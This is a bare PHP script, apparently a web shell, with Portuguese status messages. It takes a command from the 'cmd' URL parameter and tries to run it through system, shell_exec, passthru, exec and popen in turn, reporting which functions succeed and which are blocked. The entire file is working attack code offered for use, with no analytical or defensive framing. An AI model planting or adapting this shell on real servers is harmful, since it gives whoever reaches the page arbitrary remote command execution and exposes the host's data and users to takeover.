$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls';$success = false;// Teste 1 - system()echo "

CMD1 (system): ";if (function_exists('system')) { ob_start(); system($cmd, $retval); $output = ob_get_clean(); if (!empty($output)) { echo "SUCESSO
$output

"; $success = true; } else { echo "FALHOU"; }} else { echo "FUNÇÃO BLOQUEADA";}// Teste 2 - shell_exec()echo "

CMD2 (shell_exec): ";if (function_exists('shell_exec')) { $output = shell_exec($cmd); if (!empty($output)) { echo "SUCESSO
$output

"; $success = true; } else { echo "FALHOU"; }} else { echo "FUNÇÃO BLOQUEADA";}// Teste 3 - passthru()echo "

CMD3 (passthru): ";if (function_exists('passthru')) { ob_start(); passthru($cmd, $retval); $output = ob_get_clean(); if (!empty($output)) { echo "SUCESSO
$output

"; $success = true; } else { echo "FALHOU"; }} else { echo "FUNÇÃO BLOQUEADA";}// Teste 4 - exec()echo "

CMD4 (exec): ";if (function_exists('exec')) { $output = []; exec($cmd, $output, $retval); if (!empty($output)) { echo "SUCESSO
" . implode("
", $output) . "

"; $success = true; } else { echo "FALHOU"; }} else { echo "FUNÇÃO BLOQUEADA";}// Teste 5 - popen()echo "

CMD5 (popen): ";if (function_exists('popen')) { $handle = popen($cmd, 'r'); $output = ''; if (is_resource($handle)) { while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } if (!empty($output)) { echo "SUCESSO
$output

"; $success = true; } else { echo "FALHOU"; }} else { echo "FUNÇÃO BLOQUEADA";}// Resultado finalif (!$success) { echo "

Nenhum método funcionou!

";}